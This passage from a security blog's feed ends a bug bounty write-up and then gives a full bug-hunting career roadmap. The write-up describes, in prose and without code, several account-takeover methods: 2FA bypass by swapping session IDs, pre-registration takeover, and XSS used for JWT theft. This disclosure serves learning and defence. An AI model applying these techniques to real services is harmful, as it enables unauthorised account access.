<li><p>The feature had two viewing options: public or private. Private articles were not accessible to other users.</p>
</li>
<li><p>I was able to send a request directly to the private posts, which then loaded and became accessible to me</p>
</li>
<li><p>The private addresses were guessable, so I reported the vulnerability</p>
</li>
</ul>
</li>
<li><p><strong>2FA Bypass with Authenticate Cookie</strong></p>
<ul>
<li><p>Let me describe the authentication flow:</p>
<ul>
<li><p>Upon opening the login page, an anonymous session is initiated</p>
</li>
<li><p>After entering the credentials, the session is upgraded, and you are redirected to a "converter page" (I named it this because the page serves as a session-to-token converter)</p>
</li>
<li><p>The page converts the session ID into a JWT token</p>
</li>
</ul>
</li>
<li><p>Now let me describe the authentication flow + 2FA:</p>
<ul>
<li><p>Upon opening the login page, an anonymous session is initiated</p>
</li>
<li><p>Entering credentials leads to a redirect to a page at <code>/login/key/random_key</code></p>
</li>
<li><p>After entering the credentials, the session is upgraded, and you are redirected to a "converter page"</p>
</li>
<li><p>The page converts the session ID into a JWT token</p>
</li>
</ul>
</li>
<li><p>Now, let me explain the vulnerability and attack scenario:</p>
<ul>
<li><p>Browser A: The attacker opens the login page and enters credentials for an account without 2FA</p>
</li>
<li><p>Browser B: The attacker opens the login page and enters credentials for the victim who has 2FA enabled. Consequently, they are redirected to <code>/login/key/random_key</code></p>
</li>
<li><p>Browser B: The attacker substitutes the session ID with Browser A's session ID and refreshes the page</p>
</li>
<li><p>Browser B: The converter page generates a JWT for the attacker, enabling successful authentication as the victim who has 2FA enabled</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Pre-Account Takeover</strong></p>
<ul>
<li><p>On the website's registration, you can register an account without the email verification process</p>
</li>
<li><p>So I could create an account with an arbitrary email address, for example <code>victim@gmail.com</code></p>
</li>
<li><p>When the victim first attempts to sign up with <code>victim@gmail.com</code>, they receive an error message stating that the account already exists</p>
</li>
<li><p>If they then try to sign up using Google OAuth, as an attacker, we can access the account with the previously saved token</p>
</li>
</ul>
</li>
<li><p><strong>Reflected XSS Leads To Account Takeover</strong></p>
<ul>
<li><p>Enabling 2FA authentication for an account</p>
</li>
<li><p>Extracting the parameters in the 2FA page, <code>/login/key/random_key</code> → some parameters</p>
</li>
<li><p>I re-used the parameters in the previous page <code>/login/key/random_key</code> and got the reflection</p>
</li>
<li><p>I broke the tag and got a reflected XSS</p>
</li>
<li><p>I coded an exploit code to grab the JWT token of the victim</p>
</li>
</ul>
</li>
<li><p><strong>Account Takeover with Grant Access</strong></p>
<ul>
<li><p>Let me describe the normal flow of a feature:</p>
<ul>
<li><p>The <code>target.com</code> website featured a function that enabled users to request access to another account and manage it</p>
</li>
<li><p>Upon entering a victim's email, they receive an email confirmation</p>
</li>
<li><p>If they click on the link, the attacker can access and manage their account</p>
</li>
</ul>
</li>
<li><p>Now let me describe the vulnerability:</p>
<ul>
<li><p>By entering into the victim's account, the attacker can grab their authentication token and save it (normal behavior)</p>
</li>
<li><p>Sadly, if the victim revokes the access to their account, the previously authenticated token will still grant you access</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>2FA Bypass with Grant Access</strong></p>
<ul>
<li><p>Considering the previously granted access flow, please continue reading</p>
</li>
<li><p>If an attacker requests access to another user of the website, they get an email (previous flow)</p>
</li>
<li><p>If an attacker requests a non-registered email, an email is sent to that address. Upon clicking the email link, the user is automatically redirected to the panel, and an account is created for them</p>
</li>
<li><p>The attacker enters an email address with an extra dot, like <code>victi.m@gmail.com</code> and the backend treats it as a new user. Instead of sending a confirmation email, it sends a link, and when clicked, it redirects the attacker directly to the panel</p>
</li>
<li><p>What is the impact? The attacker must gain access to the victim's email for successful exploitation. However, in this scenario, the attacker could log in directly to the victim's account and bypass 2FA enabled feature (Goole Authenticator)</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>From my experience three months ago in bug bounty, I realized that it's not just about technical knowledge. While that's important, mental growth and development are equally essential, In this article, I was trying to talk about both of them.</p>
<p>Another valuable lesson I've learned is the importance of connecting with experienced individuals and seeking their guidance. I'm grateful to be part of a community where such people exist, helping each other.</p>
]]></content:encoded></item><item><title><![CDATA[Bug Bounty Roadmap from Scratch]]></title><description><![CDATA[Lots of us have been involved with computers since we were born and were amazed by hackers in movies and their magics. But what if we want to have a similar career?
The number of interested people in this field is growing, and they might come up with...]]></description><link>https://blog.voorivex.team/bug-bounty-roadmap-from-scratch</link><guid isPermaLink="true">https://blog.voorivex.team/bug-bounty-roadmap-from-scratch</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[Roadmap]]></category><dc:creator><![CDATA[Voorivex]]></dc:creator><pubDate>Fri, 20 Oct 2023 19:32:05 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1732387152483/2bf46c0c-3637-4f87-b04b-003334907a0f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lots of us have been involved with computers since we were born and were amazed by hackers in movies and their magics. But what if we want to have a similar career?</p>
<p>The number of interested people in this field is growing, and they might come up with various questions regarding expanding their knowledge and career. Thus, we have decided to make our suggested roadmap.</p>
<p>This roadmap is designed for all levels. Junior, Medior, and Senior you can follow the suggested topics to visualize the obstacles in front of you that you should bypass to become a successful Security Researcher.</p>
<p>Here is the preview of the roadmap. <a target="_blank" href="https://voorivex.team/images/Roadmap.png">Click here</a> for the complete roadmap image, it looks like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697830178518/0a898188-097a-4142-8834-31c4c40fdb45.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-tldr">TLDR</h2>
<p>To become a Pen Tester, Bug Hunter, or Security Researcher there are several obstacles in the way that we should keep in mind. The most important point is that the knowledge in this field is evergrowing, and won’t be finished. Keeping that in mind, we can’t ever expect ourselves to know everything, even top Security Researchers are learning new techniques daily.</p>
<p>On the other hand, to become successful in this field, we need to have lots of passion, patience, and eagerness to learn to hack and break into stuff. This roadmap is our suggested way of deducing your time in this field, by no means do we know all of that stuff, but the suggestions are based on our knowledge and experience over the past few years of working in the Application Security field.</p>
<p>There are various materials and books suggested in this blog, and these are our preferences based on our experience and readings. You can find various other resources on the mentioned topics by yourself too, so do not restrict yourself.</p>
<p>This is the ideal roadmap for expanding your career in application security, meaning that some topics might not be a necessity to find vulnerabilities. However, those are the topics that most people skip when starting, so by learning those you can have better visualization and understanding of the same topic. Keeping that in mind, we have also guided you through a <strong>shortcut roadmap</strong> that you can use to start your hacker career as soon as possible.</p>
<p>To sum up:</p>
<ul>
<li><p>Nobody knows everything.</p>
</li>
<li><p>Various materials are available on each topic. Find what suits you best.</p>
</li>
<li><p>The learning process may be different among people.</p>
</li>
<li><p>There is also a shortcut roadmap to start practical hacking as soon as possible.</p>
</li>
<li><p>This roadmap might take years of learning process, do not rush things.</p>
</li>
<li><p>Last but not least, Practice makes perfect!</p>
</li>
</ul>
<h2 id="heading-tier-0">Tier 0</h2>
<p>To start this career, we highly believe that you should love to hack. back in time, there were no bug bounty programs, VDPs, etc. The people were just doing hacking as their main passion instead of monetary purposes. meaning that you should have chosen hacking as your passion and understand the difficulties that may come up.</p>
<p>The second point is that this career is time-consuming. If you want to be as good as a proficient Security Researcher, you should dedicate a lot of your daily time reading and learning new things, and as mentioned before, the knowledge in this field is growing.</p>
<p>Before proceeding to the next steps, understand the obstacles that might come the way, and ask yourself if this field is what suits you best.</p>
<h2 id="heading-tier-1">Tier 1</h2>
<p>Every career has a bunch of prerequisites which might seem boring but necessary if we are planning to have a successful career. Below is the list of prerequisites that we <strong>suggest</strong> you have before deep-diving into Application Security.</p>
<h6 id="heading-networking-and-protocols">Networking and Protocols</h6>
<p>If you have no background in the networking field, we highly suggest you read Network+ to understand the basic concepts. This will have a huge role in your career later in various vulnerabilities that need networking knowledge.</p>
<p>You should also be familiar with the HTTP protocol and the basic concepts. This is one of the most important initial readings that you should do, as HTTP is what we are going to deal with every day in our lives. We suggest the <a target="_blank" href="https://www.amazon.com/HTTP-Definitive-Guide-Guides/dp/1565925092">HTTP: The Definitive Guide</a> book as a perfect example.</p>
<h6 id="heading-programming-language">Programming Language</h6>
<p>Once you start your career in this field, soon enough you will understand that there are various tasks you need to perform daily on a large number of targets. This is an impossible task for a human to do, however, if you learn a programming language like Python or Go, you should be able to automate the boring tasks for yourself.</p>
<p>Various open-source tools have been developed by other hackers and developers that do some publicly known tasks for us. However, there might be some cases in which you come up with an idea and the open-source tool is not available for that purpose. That’s when you need to know how to code your custom tool. For Python, we suggest <a target="_blank" href="https://github.com/Asabeneh/30-Days-Of-Python">30 Days Of Python</a> and for Go, we highly suggest the <a target="_blank" href="https://www.amazon.com/Learning-Go-Idiomatic-Real-World-Programming/dp/1492077216">Learning Go</a> book.</p>
<h6 id="heading-linux-and-bash">Linux and Bash</h6>
<p>The OS you are going to work with is mostly Linux, so you should have basic knowledge of how to properly work with that. You can read <a target="_blank" href="https://www.amazon.com/Linux-Action-David-Clinton/dp/1617294934">Linux in Action</a> to understand the UNIX file system architecture, and <a target="_blank" href="https://github.com/bobbyiliev/introduction-to-bash-scripting">Introduction To Bash Scripting</a> to learn how to automate basic tasks in Bash.</p>
<h6 id="heading-javascript">Javascript</h6>
<p>The soul of client-side vulnerabilities. If you don’t have a proper understanding of javascript basics you will be missing lots of client-side vulnerabilities such as XSS, WebSockets, and several DOM-Based vulnerabilities. We highly suggest the <a target="_blank" href="https://github.com/Asabeneh/30-Days-Of-JavaScript">30 Days Of Javascript</a> and <a target="_blank" href="http://Javascript.info">Javascript.info</a> as the resources to learn the basics and down the rabbit hole, you can go.</p>
<h6 id="heading-web-server">Web Server</h6>
<p>It’s recommended to understand the web server’s basics and to implement a practical web server for yourself to test the skills you have. There are various web servers, from which we have suggested Apache as a go-to. To learn Apache web servers we suggest the <a target="_blank" href="https://www.amazon.de/dp/0596529945?linkCode=gs2&amp;tag=oreilly200c-21">Apache Cookbook</a>.</p>
<p>For load-balancing and proxies purposes we suggest Nginx as a way to go, as it’s more flexible in terms of those usages compared to Apache. You can read the <a target="_blank" href="https://www.amazon.com/NGINX-Cookbook-Advanced-High-Performance-Balancing-ebook/dp/B08P2DT39K">Nginx Cookbook</a>.</p>
<h2 id="heading-tier-2">Tier 2</h2>
<h6 id="heading-practical-learning">Practical Learning</h6>
<p>After getting a grip on our suggested list of prerequisites, it’s finally the time to get into the interesting parts and hacking. First of all, you need to learn the basic web vulnerabilities. The <a target="_blank" href="https://owasp.org/www-project-top-ten/">OWASP Top 10</a> has an amazing list of must-know vulnerabilities, which you can plan to start from.</p>
<p>We would highly suggest you learn the Top 10 list from <a target="_blank" href="https://portswigger.net/web-security/learning-path">PortSwigger’s Academy</a> which is one the best learning resources out there, and it will be your best friend during your web application security learning process. PortSwigger has an amazing description of each vulnerability and they have built many awesome labs for each topic for you to test your skills in practice.</p>
<p>If you want to start PortSwigger’s Labs you should get their most famous product <a target="_blank" href="https://portswigger.net/burp">Burp Suite</a> which is a web proxy, used to intercept and modify the HTTP traffic on demand. It’s a necessity to learn how to set up and work with this tool, which we believe you can gain by working with their labs. However, if you want solid knowledge on this topic we would suggest the <a target="_blank" href="https://www.packtpub.com/product/burp-suite-cookbook/9781789531732">Burp Suite Cookbook</a>.</p>
<p>After the above step is done, We’d suggest you take a look at the <a target="_blank" href="https://application.security/">Kontra Application Security Platform</a>. There are several labs created for both OWASP Top 10 <a target="_blank" href="https://application.security/free/owasp-top-10">Web</a> and <a target="_blank" href="https://application.security/free/owasp-top-10-API">API</a>. The explanation is basic but creative, as you can visualize the steps into the exploitation of a vulnerability.</p>
<p>After understanding the OWASP Top 10 in-depth, you can go back to <a target="_blank" href="https://portswigger.net/web-security/learning-path">PortSwigger’s Academy</a> and learn other different vulnerabilities.</p>
<h6 id="heading-web-application-security-books-for-juniors">Web Application Security Books For Juniors</h6>
<p>Besides the practical training, it’s also very nice to read several high-quality books to get a deeper understanding of each topic and to learn even more. There is always room for improvement and to take new small notes. That’s why we suggest several resources on every single topic.</p>
<p>We suggest The <a target="_blank" href="https://github.com/OWASP/wstg">OWASP Web Security Testing Guide</a>, in addition to the training you have done before on Portswigger and Kontra, as it contains several other test cases for each vulnerability, as well as a deeper explanation of each topic described by the OWASP team.</p>
<p>One of the most popular books for beginners is <a target="_blank" href="https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470">The Web Application Hacker’s Handbook 2</a>, in which several web-based vulnerabilities and basic web architectures are discussed. This book is basically a <strong>must-read</strong> although it’s a bit old. Do not skip it.</p>
<p>If you are planning to try Bug Hunting, you must know that it’s not that simple to find vulnerabilities, and most of the Bug Hunters have their different skills and toolsets. In Bug Hunting, one of the best training methods is to read other hacker’s writeups, in which they have discussed their point of view when hacking, and different kinds of assessments they had done.</p>
<p><a target="_blank" href="https://leanpub.com/web-hacking-101">Web Hacking 101</a> is one of those books that have discussed several web-based vulnerabilities as well as mentioned some high-quality writeups on each topic. Reading this book will give you a lead on how Bug Hunting differs from Pentesting, along with learning the hacker’s perspective when approaching a Bug Bounty target.</p>
<h6 id="heading-keeping-yourself-updated">Keeping Yourself Updated</h6>
<p>As mentioned earlier, Application Security techniques change daily. You need to join the community in which other hackers are sharing their knowledge, one might be a writeup, an open-source tool, or a new CVE.</p>
<p>Hackers are mostly active on Twitter. You can follow their works, and keep yourself updated with their writeups either on their personal blog or on Medium. They might also share their open-source tools on GitHub, so always stay tuned.</p>
<h6 id="heading-make-a-custom-methodology">Make a Custom Methodology</h6>
<p>Most of the top Bug Hunters have their own methodology, in which they have written various test cases when approaching a target. They have gained this knowledge from different books or other hacker’s writeups.</p>
<p>We highly suggest you adapt yourself to make your methodology based on your learnings and to keep it updated with each tip you learn daily. To take notes you can use several services such as <a target="_blank" href="https://www.notion.so/">Notion</a>, <a target="_blank" href="https://obsidian.md/">Obsidian</a>, and <a target="_blank" href="https://www.xmind.net/">Xmind</a>.</p>
<h2 id="heading-tier-3">Tier 3</h2>
<h6 id="heading-challenge-your-practical-skills">Challenge Your Practical Skills</h6>
<p>You’ve gained a great knowledge of different vulnerabilities until now. Finally, it’s time to test your skills in practice and expand your practical hacking expertise.</p>
<p>For this purpose, We suggest CTF platforms like <a target="_blank" href="https://www.hackthebox.eu/">Hack The Box</a>, <a target="_blank" href="https://www.root-me.org/?lang=en">RootMe</a>, and <a target="_blank" href="https://tryhackme.com/">Try Hack Me</a> to sharpen your exploitation skills.</p>
<p>Many people may dislike CTFs as they seem like games. This approach is both true and false, as there are several real-world cases in which a technique/payload was first introduced in a CTF but later used on a real-world Bug Bounty Program.</p>
<p>One of which is <a target="_blank" href="https://twitter.com/yeswehack/status/1125324152045473793?s=20">this quiz</a> by YesWeHack and <a target="_blank" href="https://twitter.com/Blaklis_/status/1125663871056928769?s=20">this answer</a> by Blaklis. Later on, <a target="_blank" href="https://twitter.com/samwcyo">Sam Curry</a> used the same payload on <a target="_blank" href="https://samcurry.net/hacking-apple/">Apple</a> to bypass an XSS filter :</p>
<ul>
<li>This payload was from a CTF solution by <a target="_blank" href="https://twitter.com/Blaklis_">@Blaklis_</a>. I had originally thought it might be an unexploitable XSS, but there seems to always be a solution somewhere for edge case XSS.</li>
</ul>
<p>The other example is from <a target="_blank" href="https://twitter.com/orange_8361">Orange Tsai</a>‘s BlackHat presentation <a target="_blank" href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf">Breaking Parser Logic – Take Your Path Normalization Off and Pop 0days Out</a>, in which he discussed the <a target="_blank" href="http://web.archive.org/web/20210812152648/https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/">Nginx off-by-slash</a> technique that was first introduced at the end of 2016 HCTF.</p>
<h6 id="heading-participate-in-bug-bounty-programs">Participate In Bug Bounty Programs</h6>
<p>If you dislike CTFs and rather train your skills on a real target, you can start hunting on Bug Bounty Programs. Usually, this method is a more direct way of expanding your practical skills, as the target you are testing was not supposed to have a vulnerability.</p>
<p>Several types of Bug Bounty Programs are there, some of which pay for reported vulnerabilities, and some of which are <strong><em>“Vulnerability Disclosure Programs (VDP)”</em></strong> that do not pay for reported vulnerabilities. Instead, they usually award you with swags, points, etc. If you are only trying to improve your skills, We’d suggest you try VDPs first as they are easier to find vulnerabilities on.</p>
<h6 id="heading-follow-security-conferences">Follow Security Conferences</h6>
<p>One of the most interesting parts of Application Security is when the security researchers are going to present their findings over the past few months/years of their research in Security Conferences.</p>
<p>Usually, they present novel techniques that have been undiscovered until then. By participating in those conferences we learn:</p>
<ul>
<li><p>The Security Researcher's point of view and thinking process</p>
</li>
<li><p>The Undiscovered novel technique, that we can possibly find on many targets</p>
</li>
<li><p>Our Weaknesses that we should improve</p>
</li>
</ul>
<p>As discussed, many benefits to them persuade us to attend those conferences. There are several famous Security Conferences, such as <a target="_blank" href="https://www.blackhat.com/">BlackHat</a>, <a target="_blank" href="https://defcon.org/">DEFCON</a>, <a target="_blank" href="https://zeronights.ru/en/">ZeroNights</a>, etc.</p>
<h6 id="heading-update-your-methodology">Update Your Methodology</h6>
<p>This is the most important phase of this Tier. We have trained our skills either on CTF platforms, or Bug Bounty Programs. As well as participating in various Security Conferences, from which we have learned a lot.</p>
<p>Before, we have discussed that you should build your custom methodology over time. Now it’s time to continuously update it with the techniques you learn daily.</p>
<h2 id="heading-tier-4">Tier 4</h2>
<p>If you want to expand your skills and improve your expertise even more, then you should start reading high-quality books on this topic, and expand your methodology with those.</p>
<h6 id="heading-web-application-security-books-for-mediors">Web Application Security Books For Mediors</h6>
<p>We highly suggest you start with <a target="_blank" href="https://www.amazon.com/Web-Application-Security-Exploitation-Countermeasures/dp/1492053112/">Web Application Security</a> which explains exploitation and countermeasures techniques of various vulnerabilities in modern applications.</p>
<p>The other book We suggest is <a target="_blank" href="https://www.amazon.com/Real-World-Bug-Hunting-Field-Hacking/dp/1593278616">Real-World Bug Hunting</a> by Peter Yaworsky, in which he expanded his other book (Web Hacking 101), with more explanations and writeups. These two books look similar, but there are several new methods and techniques explained in the newer book.</p>
<p>Last but not least, We’d highly suggest you read the <a target="_blank" href="https://nostarch.com/bug-bounty-bootcamp">Bug Bounty Bootcamp</a> by Vickie Li. This is one of the best books in Application Security, as it explains various vulnerabilities exploitation and mitigations, as well as the vulnerable code that caused the issue.</p>
<h6 id="heading-deeper-understanding-of-security-mechanisms">Deeper Understanding of Security Mechanisms</h6>
<p>The books discussed above are mostly into offensive aspects of application security. However, to be successful in this field and to better understand what’s happening in the background it’s always good to understand the developer’s mindset and other defensive stuff.</p>
<p>Various books are available to achieve this goal, from which we suggest to you the most popular ones that we have had a great time reading.</p>
<p><a target="_blank" href="https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886">The Tangled Web</a> is one of the best books on this topic. The author discusses the web anatomy and browser security features in great detail.</p>
<p><a target="_blank" href="https://www.amazon.com/Browser-Hackers-Handbook-Wade-Alcorn/dp/1118662091">The Browser Hacker’s Handbook</a> is another book, focused on the browser’s security mechanism, as well as various techniques to attack browser extensions, plugins, etc.</p>
<p><a target="_blank" href="https://www.oreilly.com/library/view/api-security-in/9781617296024/">API Security in Action</a> is one of the greatest books in the field of API security, API development, and Modern Authentication and authorization development. The book also defines various attacking vectors that could happen to each implementation, from which you can do your own research and find other bypassing techniques.</p>
<p><a target="_blank" href="https://www.amazon.com/Web-Security-Developers-Malcolm-McDonald/dp/1593279949">Web Security for Developers</a> is mostly focused on the vulnerabilities that you have learned before but from the developer’s perspective. The author discusses the vulnerable codes that cause possible issues. Reading this book you can understand what code might cause the issue and how developers reuse vulnerable codes over and over again.</p>
<h2 id="heading-tier-5">Tier 5</h2>
<p>At this stage, you are considered a Security Professional with lots of expertise in various fields. You might be a Pen Tester, Bug Bounty Hunter, or Security Researcher with lots of success in your career. Keeping that in mind, we have discussed earlier that there is always room for improvement. Even in this stage, with lots of different skill sets, you can improve your knowledge and grow even more.</p>
<p>In this stage, and with the skills you have you can find novel techniques that are undiscovered yet until then. So, how can we possibly find novel techniques and present them later on to the community?</p>
<h6 id="heading-understanding-software-architecture-patterns">Understanding Software Architecture Patterns</h6>
<p>Basically, we need to understand different Architectural Patterns, Modern Web Applications Structures, Single Page Applications Structures, Different Authentication and authorization Implementations, Infrastructure Implementations, and Various Programming Frameworks.</p>
<p>Based on the topics discussed, you should now be able to find yourself a suitable resource to learn from. We have also suggested two books as an example. Your methodology should be to get as deep as possible on each implementation.</p>
<p>magine you want to learn about various authentication implementations, and you want to learn the OAuth protocol. You should find a proper resource for it and down the rabbit hole, you go. <a target="_blank" href="https://www.amazon.com/_/dp/1449311601?tag=oreilly20-20">Getting Started with OAuth 2.0</a> is one of the suggested books in this field, as it discusses the Server-Side and Client-Side Web Application Flow, Client Credentials Flow, OpenID Flow, and various other tools and libraries.</p>
<p>To understand how single-page applications work, you can read the <a target="_blank" href="https://www.amazon.com/SPA-Design-Architecture-Understanding-Applications/dp/1617292435">SPA Design and Architecture</a>, as it discusses SPAs basics, MV* Frameworks, Modular Javascript, etc.</p>
<p>There are several other implementations and architectures to learn. Now with this mindset, you should be able to find the needed resources depending on your needs.</p>
<h6 id="heading-deep-into-web">Deep Into Web</h6>
<p>Besides Software Architecture, we need to have a deeper understanding of HTTP protocol. The new trend is into HTTP/2 with lots of new techniques recently introduced. One of which was <a target="_blank" href="https://portswigger.net/research/http2">HTTP/2: The Sequel is Always Worse</a> by one and only <a target="_blank" href="https://twitter.com/albinowax">James Kettle</a>.</p>
<p>He introduced several novel exploitation techniques of HTTP Desync vulnerabilities while dealing with HTTP/2. This was one of the few examples of trends and new techniques discovered in protocols. Thus, we should have a proper understanding of different web protocols to be able to come up with novelties.</p>
<p>To learn HTTP/2, we would suggest the <a target="_blank" href="https://oreilly.com/library/view/learning-http2/9781491962435/">Learning HTTP/2</a> book, and later going down through the new security research on this topic to better understand the possible discovered attacks until now.</p>
<p>Over the past few years, the infrastructure design has also been focused on by Security Researchers. One of the interesting concepts is reverse proxies and load-balancing.<br />One of the top Security Researchers in this field is <a target="_blank" href="https://twitter.com/antyurin">Aleksei Tiurin</a>.</p>
<p>He maintains an extensive <a target="_blank" href="https://github.com/GrrrDog/weird_proxies">repository</a> of various research on proxies. With the new trends of HTTP/2, he also presented his research <a target="_blank" href="https://speakerdeck.com/greendog/2-and-a-bit-of-magic">Weird proxies/2 and a bit of magic</a>, in which he explains different Host and Path Misrouting exploitation techniques.</p>
<p>The attack surface on this topic is still growing. Over the past few years, many novel techniques have been discovered due to inconsistency and misconfiguration of proxies, such as <a target="_blank" href="https://blog.assetnote.io/2021/03/18/h2c-smuggling/">H2C Smuggling in the Wild</a>, <a target="_blank" href="https://portswigger.net/research/practical-web-cache-poisoning">Web Cache Poisoning</a>, and <a target="_blank" href="https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn">HTTP Desync Attacks</a>.</p>
<p>The other important web protocol is SSL/TLS in which there are lots of room for possible research. Before, we have seen that a vulnerability has been discovered in the OpenSSL implementation. i.e. <a target="_blank" href="https://us-cert.cisa.gov/ncas/alerts/TA14-290A">The POODLE Attack</a>.</p>
<p>Learning SSL/TLS protocol might not lead to a direct vulnerability but leads to a proper understanding of the web you are dealing with on a daily basis. We would suggest the <a target="_blank" href="https://www.feistyduck.com/books/bulletproof-ssl-and-tls/">Bulletproof SSL and TLS</a> book for this purpose.</p>
<h6 id="heading-programming-langugage">Programming Langugage</h6>
<p>The Programming Language in this phase differs from the one we had in Tier 1. In that section, we described how important automation is. However, here the usage is different as they are used mostly for building applications ourselves to achieve a couple of purposes:</p>
<ul>
<li><p>Building Web Applications</p>
</li>
<li><p>Understanding the Architectures</p>
</li>
<li><p>Understanding different protective functions and possible bypasses</p>
</li>
<li><p>Code Review knowledge for various White-Box projects</p>
</li>
</ul>
<p>By doing the mentioned bullets, you will have a proper understanding of the application you are dealing with. This means that you will choose your test cases and payloads based on the technology and the programming language of that website. No more spray and pray.</p>
<p>One of the very productive learning methods is to build the various vulnerable applications and then break into them. Not only you are hacking into an application, but also you understand the application architecture and vulnerable code. Later on, when you observe an application with the same technology, you guess the possible backend code.</p>
<p>There are various programming languages for this purpose, such as PHP, Go, Python, NodeJS, and Java. Choose what fits you the best and later go through others as well. Slowly but surely, you will learn different technology stacks and you will be able to code various applications and understand the possible backend code in your black box security assessment.</p>
<h6 id="heading-deep-into-frameworks">Deep Into Frameworks</h6>
<p>After learning the programming languages, we need to get into the various frameworks. How learning the frameworks can improve our security knowledge you might ask.</p>
<p>Each framework has its own security features that lead us toward the correct test cases we should conduct. Various protections are applied by default in these frameworks, for example:</p>
<ul>
<li><p>Laravel handles XSS by sanitizing the user input</p>
</li>
<li><p>Django provides CSRF protection</p>
</li>
<li><p>Rails provide Clickjacking protection</p>
</li>
<li><p><a target="_blank" href="http://ASP.NET">ASP.NET</a> handles SQL injection using parameterized queries</p>
</li>
</ul>
<p>As observed, each framework has its own security feature, there are many other features in addition to the examples above. If we are familiar with the frameworks, we understand the assessments we should conduct based on the technology stacks of the target we are dealing with.</p>
<h6 id="heading-conclusion">Conclusion</h6>
<p>Everyone has a hacker inside, It’s just a matter of waking them up and getting them to use. Choose it as a passion and go down using the roadmap. Slowly but surely you will gain the knowledge to be a proficient Security Researcher.</p>
<p>This roadmap is meant to be used for all levels of knowledge. Choose your goal and take the steps to achieve it. 5 red sections in the roadmap image are the shortcuts you can go from to start hacking as soon as possible. However, keep in mind that you will need to review the other sections later on.</p>
<p>Take care, and Happy Hacking!</p>
]]></content:encoded></item></channel></rss>